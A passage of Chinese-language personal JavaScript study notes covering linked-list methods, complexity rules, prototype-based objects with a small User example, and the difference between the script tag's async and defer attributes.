物件內容轉換成字串 ```javascript= toString(){ let current = this.head let string = '' while(current){ string += current.ele current = current.next } return string } ``` #### size(): 回傳總共有幾個 node 在 list 內 ```javascript= size(){ return this.length; } ``` ### 資料結構 - [複雜度](https://www.itread01.com/content/1546485919.html) * 時間複雜度 * 只關注迴圈執行次數最多的一段程式碼 * 加法法則:總複雜度等於量級最大的那段程式碼的複雜度。 * 乘法法則:巢狀程式碼的複雜度等於巢狀內外程式碼複雜度的乘積。 * 空間複雜度 ## ES6 特性 :notebook: [JavaScript - ES6 特性](/THtNopAJQbqlkQkn4HdDog) ## 其他JS觀念 ### [new operator](https://medium.com/%E6%89%8B%E5%AF%AB%E7%AD%86%E8%A8%98/javascript-new-operator-implementation-8c0d15f2b899) [OOP (Object Oriented Programming) ](https://medium.com/%E6%89%8B%E5%AF%AB%E7%AD%86%E8%A8%98/javascript-prototype-vs-es6-class-syntactic-sugar-414ac1459a5e) #### 原型(protrotype)- prototype-based programming ```javascript= function User(name) { this.name = name; } User.prototype.hello = function () { return this.name; }; const user = new User('Peter'); console.log(user.hello()); // Peter ``` #### 類別(class) - class-based programming ### Pinterest 瀑布流怎麼寫 ### [\<script> 的兩個 attribute: defer 跟 async 差別](https://realdennis.medium.com/html-script-%E4%B8%ADdefer%E8%B7%9Fasync%E6%98%AF%E4%BB%80%E9%BA%BC-1166ee88d18) * async * 會非同步去請求外部腳本 回應後停止解析執行腳本內容 * defer * 也會非同步請求外部腳本 但是等待瀏覽器解析完才執行 (而且早於DOMContentLoaded) * 腳本執行時,可以確保DOM已經完整渲染 ![](https://i.imgur.com/oYo7cba.jpg)